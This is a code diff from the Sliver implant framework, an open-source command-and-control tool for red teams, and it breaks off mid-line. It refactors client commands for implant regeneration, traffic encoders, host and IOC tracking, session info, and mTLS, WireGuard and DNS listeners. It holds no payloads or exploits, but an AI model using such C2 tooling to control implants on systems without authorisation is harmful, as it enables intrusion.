carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + var action carapace.Action pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage(fmt.Sprintf("No profiles, err: %s", err.Error())) + return carapace.ActionMessage(fmt.Sprintf("No profiles, err: %s", con.UnwrapServerErr(err))) } if len(pbProfiles.Profiles) == 0 { diff --git a/client/command/generate/regenerate.go b/client/command/generate/regenerate.go index 2720a383df..a72f884351 100644 --- a/client/command/generate/regenerate.go +++ b/client/command/generate/regenerate.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// RegenerateCmd - Download an archived implant build/binary -func RegenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RegenerateCmd - Download an archived implant build/binary. +func RegenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { save, _ := cmd.Flags().GetString("save") if save == "" { save, _ = os.Getwd() @@ -44,7 +44,7 @@ func RegenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] ImplantName: name, }) if err != nil { - con.PrintErrorf("Failed to regenerate implant %s\n", err) + con.PrintErrorf("Failed to regenerate implant %s\n", con.UnwrapServerErr(err)) return } if regenerate.File == nil { diff --git a/client/command/generate/traffic-encoders.go b/client/command/generate/traffic-encoders.go index 539d4dd3c0..8f61a36e67 100644 --- a/client/command/generate/traffic-encoders.go +++ b/client/command/generate/traffic-encoders.go @@ -42,22 +42,23 @@ import ( "github.com/bishopfox/sliver/util" ) -// TrafficEncodersCmd - Generate traffic encoders command implementation -func TrafficEncodersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// TrafficEncodersCmd - Generate traffic encoders command implementation. +func TrafficEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { grpcCtx, cancel := con.GrpcContext(cmd) defer cancel() encoderMap, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } DisplayTrafficEncoders(encoderMap, con) } -// DisplayTrafficEncoders - Display traffic encoders map from server -func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console.SliverConsoleClient) { +// DisplayTrafficEncoders - Display traffic encoders map from server. +func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Name", @@ -83,8 +84,8 @@ func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console con.Println(tw.Render()) } -// TrafficEncodersAddCmd - Add a new traffic encoder to the server -func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// TrafficEncodersAddCmd - Add a new traffic encoder to the server. +func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { grpcCtx, cancel := con.GrpcContext(cmd) defer cancel() @@ -117,7 +118,7 @@ func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, <-completed close(completed) if err != nil { - con.PrintErrorf("Failed to add traffic encoder %s", err) + con.PrintErrorf("Failed to add traffic encoder %s", con.UnwrapServerErr(err)) con.Println() return } @@ -138,7 +139,7 @@ func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, con.PrintInfof("Successfully added traffic encoder: %s\n", trafficEncoder.Wasm.Name) } -// saveFailedSample - Save the sample the encoder failed to properly encode/decode +// saveFailedSample - Save the sample the encoder failed to properly encode/decode. func saveFailedSample(encoderName string, test *clientpb.TrafficEncoderTest) { confirm := false prompt := &survey.Confirm{ @@ -156,7 +157,7 @@ func saveFailedSample(encoderName string, test *clientpb.TrafficEncoderTest) { } } -// allTestsPassed - Check if all tests passed +// allTestsPassed - Check if all tests passed. func allTestsPassed(tests *clientpb.TrafficEncoderTests) bool { for _, test := range tests.Tests { if !test.Success { @@ -166,8 +167,8 @@ func allTestsPassed(tests *clientpb.TrafficEncoderTests) bool { return true } -// displayTrafficEncoderTests - Display traffic encoder tests in real time -func displayTrafficEncoderTestProgress(testID string, completed chan interface{}, con *console.SliverConsoleClient) { +// displayTrafficEncoderTests - Display traffic encoder tests in real time. +func displayTrafficEncoderTestProgress(testID string, completed chan interface{}, con *console.SliverClient) { listenerID, events := con.CreateEventListener() defer con.RemoveEventListener(listenerID) lineCount := 0 @@ -191,18 +192,19 @@ func displayTrafficEncoderTestProgress(testID string, completed chan interface{} } } -// clearLines - Clear a number of lines from the console -func clearLines(count int, con *console.SliverConsoleClient) { +// clearLines - Clear a number of lines from the console. +func clearLines(count int, con *console.SliverClient) { for i := 0; i < count; i++ { con.Printf(console.Clearln + "\r") con.Printf(console.UpN, 1) } } -// displayTrafficEncoderTests - Display the results of traffic encoder tests, return number of lines written -func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTests, con *console.SliverConsoleClient) int { +// displayTrafficEncoderTests - Display the results of traffic encoder tests, return number of lines written. +func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTests, con *console.SliverClient) int { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Test", "Result", @@ -245,16 +247,31 @@ func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTest return lineCount } -// TrafficEncodersRemoveCmd - Remove a traffic encoder -func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - _, cancel := con.GrpcContext(cmd) - defer cancel() - +// TrafficEncodersRemoveCmd - Remove a traffic encoder. +func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { - name = args[0] - } - if name == "" { + for _, name := range args { + if name == "" { + continue + } + + grpcCtx, cancel := con.GrpcContext(cmd) + _, err := con.Rpc.TrafficEncoderRm(grpcCtx, &clientpb.TrafficEncoder{ + Wasm: &commonpb.File{ + Name: name, + }, + }) + cancel() + + if err != nil { + con.PrintErrorf("%s", con.UnwrapServerErr(err)) + continue + } + + con.PrintInfof("Successfully removed traffic encoder: %s\n", name) + } + } else { name = SelectTrafficEncoder(con) } grpcCtx, cancel := con.GrpcContext(cmd) @@ -265,20 +282,19 @@ func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClie }, }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } - con.Println() con.PrintInfof("Successfully removed traffic encoder: %s\n", name) } -// SelectTrafficEncoder - Select a traffic encoder from a list -func SelectTrafficEncoder(con *console.SliverConsoleClient) string { +// SelectTrafficEncoder - Select a traffic encoder from a list. +func SelectTrafficEncoder(con *console.SliverClient) string { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() encoders, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return "" } var encoderNames []string diff --git a/client/command/help/long-help.go b/client/command/help/long-help.go index 66c4af6def..dc20997c3e 100644 --- a/client/command/help/long-help.go +++ b/client/command/help/long-help.go @@ -28,7 +28,6 @@ import ( "strings" "text/template" - "github.com/bishopfox/sliver/client/command/creds" consts "github.com/bishopfox/sliver/client/constants" ) @@ -1255,7 +1254,7 @@ Sliver uses the same hash identifiers as Hashcat (use the #): % 10s - One hash per line. % 10s - A file containing lines of 'username:hash' pairs. % 10s - A CSV file containing 'username,hash' pairs (additional columns ignored). -`, creds.HashNewlineFormat, creds.UserColonHashNewlineFormat, creds.CSVFormat) +`, consts.HashNewlineFormat, consts.UserColonHashNewlineFormat, consts.CSVFormat) c2ProfilesHelp = `[[.Bold]]Command:[[.Normal]] c2profile [[.Bold]]About:[[.Normal]] Display details of HTTP C2 profiles loaded into Sliver. diff --git a/client/command/history/history.go b/client/command/history/history.go new file mode 100644 index 0000000000..68eb8d31d9 --- /dev/null +++ b/client/command/history/history.go @@ -0,0 +1,101 @@ +package history + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ +import ( + "context" + "fmt" + "strconv" + "time" + + "github.com/fatih/color" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/protobuf/clientpb" +) + +// Commands returns all commands related to implant history. +func Commands(con *console.SliverClient) []*cobra.Command { + historyCmd := &cobra.Command{ + Use: "history", + Short: "Print the implant command history", + GroupID: constants.SliverCoreHelpGroup, + RunE: func(cmd *cobra.Command, args []string) error { + sess, beac := con.ActiveTarget.Get() + if sess == nil && beac == nil { + return nil + } + + user, _ := cmd.Flags().GetBool("user") + showTime, _ := cmd.Flags().GetBool("time") + clientUser := con.Teamclient.Config().User + + req := &clientpb.HistoryRequest{ + UserOnly: user, + } + + if sess != nil { + req.ImplantID = sess.ID + req.ImplantName = sess.Name + } else if beac != nil { + req.ImplantID = beac.ID + req.ImplantName = beac.Name + } + + history, err := con.Rpc.GetImplantHistory(context.Background(), req) + if err != nil { + return con.UnwrapServerErr(err) + } + + commands := history.GetCommands() + + for i := len(commands) - 1; i >= 0; i-- { + command := commands[i] + + if user && command.GetUser() != clientUser { + continue + } + + preLine := color.HiBlackString("%-3s", strconv.Itoa(i)) + + if !user { + preLine += console.Orange + fmt.Sprintf("%*s\t", 5, command.User) + console.Normal + } + if showTime { + execAt := time.Unix(command.GetExecutedAt(), 0).Format(time.Stamp) + preLine += console.Blue + execAt + console.Normal + "\t" + } + + fmt.Println(preLine + command.Block) + } + + return nil + }, + } + + flags.Bind("history", false, historyCmd, func(f *pflag.FlagSet) { + f.BoolP("user", "u", false, "Only print implant commands executed by user") + f.BoolP("time", "t", false, "Print the exec time before the command line (tab separated)") + }) + + return []*cobra.Command{historyCmd} +} diff --git a/client/command/hosts/commands.go b/client/command/hosts/commands.go new file mode 100644 index 0000000000..dcb7f97b6a --- /dev/null +++ b/client/command/hosts/commands.go @@ -0,0 +1,59 @@ +package hosts + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + hostsCmd := &cobra.Command{ + Use: consts.HostsStr, + Short: "Manage the database of hosts", + Long: help.GetHelpFor([]string{consts.HostsStr}), + Run: func(cmd *cobra.Command, args []string) { + HostsCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("hosts", true, hostsCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + hostsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a host from the database", + Long: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + HostsRmCmd(cmd, con, args) + }, + } + hostsCmd.AddCommand(hostsRmCmd) + + hostsIOCCmd := &cobra.Command{ + Use: consts.IOCStr, + Short: "Manage tracked IOCs on a given host", + Long: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}), + Run: func(cmd *cobra.Command, args []string) { + HostsIOCCmd(cmd, con, args) + }, + } + hostsCmd.AddCommand(hostsIOCCmd) + + hostsIOCRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Delete IOCs from the database", + Long: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + HostsIOCRmCmd(cmd, con, args) + }, + } + hostsIOCCmd.AddCommand(hostsIOCRmCmd) + + return []*cobra.Command{hostsCmd} +} diff --git a/client/command/hosts/hosts-ioc-rm.go b/client/command/hosts/hosts-ioc-rm.go index 2d9b06762d..a83f7e9dff 100644 --- a/client/command/hosts/hosts-ioc-rm.go +++ b/client/command/hosts/hosts-ioc-rm.go @@ -27,7 +27,7 @@ import ( ) // HostsIOCRmCmd - Remove an IOC from the database -func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { host, err := SelectHost(con) if err != nil { con.PrintErrorf("%s\n", err) @@ -40,7 +40,7 @@ func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } _, err = con.Rpc.HostIOCRm(context.Background(), ioc) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Removed IOC from database\n") diff --git a/client/command/hosts/hosts-ioc.go b/client/command/hosts/hosts-ioc.go index fa1bcbed65..71717f843c 100644 --- a/client/command/hosts/hosts-ioc.go +++ b/client/command/hosts/hosts-ioc.go @@ -29,12 +29,13 @@ import ( "github.com/jedib0t/go-pretty/v6/table" "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" ) -// HostsIOCCmd - Remove a host from the database -func HostsIOCCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// HostsIOCCmd - Remove a host from the database. +func HostsIOCCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { host, err := SelectHost(con) if err != nil { con.PrintErrorf("%s\n", err) @@ -48,9 +49,10 @@ func HostsIOCCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string { +func hostIOCsTable(host *clientpb.Host, con *console.SliverClient) string { tw := table.NewWriter() tw.SetStyle(table.StyleBold) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{"File Path", "SHA-256"}) for _, ioc := range host.IOCs { tw.AppendRow(table.Row{ @@ -61,7 +63,7 @@ func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string return tw.Render() } -func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) { +func SelectHostIOC(host *clientpb.Host, con *console.SliverClient) (*clientpb.IOC, error) { if len(host.IOCs) == 0 { return nil, ErrNoIOCs } diff --git a/client/command/hosts/hosts-rm.go b/client/command/hosts/hosts-rm.go index 0066ed5305..6db5dd1846 100644 --- a/client/command/hosts/hosts-rm.go +++ b/client/command/hosts/hosts-rm.go @@ -26,8 +26,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// HostsRmCmd - Remove a host from the database -func HostsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// HostsRmCmd - Remove a host from the database. +func HostsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { host, err := SelectHost(con) if err != nil { con.PrintErrorf("%s\n", err) @@ -35,7 +35,7 @@ func HostsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } _, err = con.Rpc.HostRm(context.Background(), host) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Removed host from database\n") diff --git a/client/command/hosts/hosts.go b/client/command/hosts/hosts.go index e4ab3f4257..59e1ab9d7e 100644 --- a/client/command/hosts/hosts.go +++ b/client/command/hosts/hosts.go @@ -29,18 +29,17 @@ import ( "time" "github.com/AlecAivazis/survey/v2" + "github.com/jedib0t/go-pretty/v6/table" "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - - "github.com/jedib0t/go-pretty/v6/table" ) var ( - // ErrNoHosts - No hosts in database + // ErrNoHosts - No hosts in database. ErrNoHosts = errors.New("no hosts") // ErrNoIOCs - No IOCs in database ErrNoIOCs = errors.New("no IOCs in database for selected host") @@ -48,11 +47,11 @@ var ( ErrNoSelection = errors.New("no selection") ) -// HostsCmd - Main hosts command -func HostsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// HostsCmd - Main hosts command. +func HostsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } if 0 < len(allHosts.Hosts) { @@ -62,9 +61,10 @@ func HostsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } } -func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string { +func hostsTable(hosts []*clientpb.Host, con *console.SliverClient) string { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Hostname", @@ -98,7 +98,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string return tw.Render() } -func hostSessions(hostUUID string, con *console.SliverConsoleClient) string { +func hostSessions(hostUUID string, con *console.SliverClient) string { hostSessions := SessionsForHost(hostUUID, con) if len(hostSessions) == 0 { return "None" @@ -110,7 +110,7 @@ func hostSessions(hostUUID string, con *console.SliverConsoleClient) string { return fmt.Sprintf("%d", len(sessionIDs)) } -func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string { +func hostBeacons(hostUUID string, con *console.SliverClient) string { beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { return "Error" @@ -128,8 +128,8 @@ func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string { } } -// SessionsForHost - Find session for a given host by id -func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session { +// SessionsForHost - Find session for a given host by id. +func SessionsForHost(hostUUID string, con *console.SliverClient) []*clientpb.Session { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { return []*clientpb.Session{} @@ -143,11 +143,11 @@ func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clien return hostSessions } -// SelectHost - Interactively select a host from the database -func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) { +// SelectHost - Interactively select a host from the database. +func SelectHost(con *console.SliverClient) (*clientpb.Host, error) { allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } // Sort the keys because maps have a randomized order, these keys must be ordered for the selection // to work properly since we rely on the index of the user's selection to find the session in the map diff --git a/client/command/info/commands.go b/client/command/info/commands.go new file mode 100644 index 0000000000..0e3c5557cc --- /dev/null +++ b/client/command/info/commands.go @@ -0,0 +1,104 @@ +package info + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/command/use" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + infoCmd := &cobra.Command{ + Use: consts.InfoStr, + Short: "Get info about session", + Long: help.GetHelpFor([]string{consts.InfoStr}), + Args: cobra.MaximumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + InfoCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("use", false, infoCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + carapace.Gen(infoCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con).Usage("implant target to show (optional)")) + + return []*cobra.Command{infoCmd} +} + +// SliverCommands returns all info commands working on an active target. +func SliverCommands(con *console.SliverClient) []*cobra.Command { + pingCmd := &cobra.Command{ + Use: consts.PingStr, + Short: "Send round trip message to implant (does not use ICMP)", + Long: help.GetHelpFor([]string{consts.PingStr}), + Run: func(cmd *cobra.Command, args []string) { + PingCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, pingCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + getPIDCmd := &cobra.Command{ + Use: consts.GetPIDStr, + Short: "Get session pid", + Long: help.GetHelpFor([]string{consts.GetPIDStr}), + Run: func(cmd *cobra.Command, args []string) { + PIDCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, getPIDCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + getUIDCmd := &cobra.Command{ + Use: consts.GetUIDStr, + Short: "Get session process UID", + Long: help.GetHelpFor([]string{consts.GetUIDStr}), + Run: func(cmd *cobra.Command, args []string) { + UIDCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, getUIDCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + getGIDCmd := &cobra.Command{ + Use: consts.GetGIDStr, + Short: "Get session process GID", + Long: help.GetHelpFor([]string{consts.GetGIDStr}), + Run: func(cmd *cobra.Command, args []string) { + GIDCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, getGIDCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + whoamiCmd := &cobra.Command{ + Use: consts.WhoamiStr, + Short: "Get session user execution context", + Long: help.GetHelpFor([]string{consts.WhoamiStr}), + Run: func(cmd *cobra.Command, args []string) { + WhoamiCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, whoamiCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{pingCmd, getPIDCmd, getUIDCmd, getGIDCmd, whoamiCmd} +} diff --git a/client/command/info/info.go b/client/command/info/info.go index cad0f07da5..dd968436d9 100644 --- a/client/command/info/info.go +++ b/client/command/info/info.go @@ -32,8 +32,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// InfoCmd - Display information about the active session -func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// InfoCmd - Display information about the active session. +func InfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error // Check if we have an active target via 'use' @@ -118,8 +118,8 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } } -// PIDCmd - Get the active session's PID -func PIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PIDCmd - Get the active session's PID. +func PIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -131,8 +131,8 @@ func PIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } } -// UIDCmd - Get the active session's UID -func UIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// UIDCmd - Get the active session's UID. +func UIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -144,8 +144,8 @@ func UIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } } -// GIDCmd - Get the active session's GID -func GIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// GIDCmd - Get the active session's GID. +func GIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -157,8 +157,8 @@ func GIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } } -// WhoamiCmd - Displays the current user of the active session -func WhoamiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WhoamiCmd - Displays the current user of the active session. +func WhoamiCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -183,12 +183,12 @@ func WhoamiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if cto.Response != nil && cto.Response.Async { - con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(cto.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, cto) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -196,14 +196,13 @@ func WhoamiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } PrintTokenOwner(cto, con) }) - con.PrintAsyncResponse(cto.Response) } else { PrintTokenOwner(cto, con) } } } -func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) { +func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverClient) { if cto.Response != nil && cto.Response.Err != "" { con.PrintErrorf("%s\n", cto.Response.Err) return diff --git a/client/command/info/ping.go b/client/command/info/ping.go index e09ae18410..034366bf75 100644 --- a/client/command/info/ping.go +++ b/client/command/info/ping.go @@ -10,8 +10,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// PingCmd - Send a round trip C2 message to an implant (does not use ICMP) -func PingCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PingCmd - Send a round trip C2 message to an implant (does not use ICMP). +func PingCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -24,7 +24,7 @@ func PingCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Pong %d\n", pong.Nonce) } diff --git a/client/command/jobs/commands.go b/client/command/jobs/commands.go new file mode 100644 index 0000000000..4d8175999c --- /dev/null +++ b/client/command/jobs/commands.go @@ -0,0 +1,210 @@ +package jobs + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + // Job control + jobsCmd := &cobra.Command{ + Use: consts.JobsStr, + Short: "Job control", + Long: help.GetHelpFor([]string{consts.JobsStr}), + Run: func(cmd *cobra.Command, args []string) { + JobsCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("jobs", true, jobsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("jobs", false, jobsCmd, func(f *pflag.FlagSet) { + f.Int32P("kill", "k", -1, "kill a background job") + f.BoolP("kill-all", "K", false, "kill all jobs") + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(jobsCmd, func(comp *carapace.ActionMap) { + (*comp)["kill"] = JobsIDCompleter(con) + }) + + // Mutual TLS + mtlsCmd := &cobra.Command{ + Use: consts.MtlsStr, + Short: "Start an mTLS listener", + Long: help.GetHelpFor([]string{consts.MtlsStr}), + Run: func(cmd *cobra.Command, args []string) { + MTLSListenerCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) { + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port") + f.BoolP("persistent", "p", false, "make persistent across restarts") + }) + + // Wireguard + wgCmd := &cobra.Command{ + Use: consts.WGStr, + Short: "Start a WireGuard listener", + Long: help.GetHelpFor([]string{consts.WGStr}), + Run: func(cmd *cobra.Command, args []string) { + WGListenerCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("WireGuard listener", false, wgCmd, func(f *pflag.FlagSet) { + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port") + f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port") + f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port") + f.BoolP("persistent", "p", false, "make persistent across restarts") + }) + + // DNS + dnsCmd := &cobra.Command{ + Use: consts.DnsStr, + Short: "Start a DNS listener", + Long: help.GetHelpFor([]string{consts.DnsStr}), + Run: func(cmd *cobra.Command, args []string) { + DNSListenerCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("DNS listener", false, dnsCmd, func(f *pflag.FlagSet) { + f.StringP("domains", "d", "", "parent 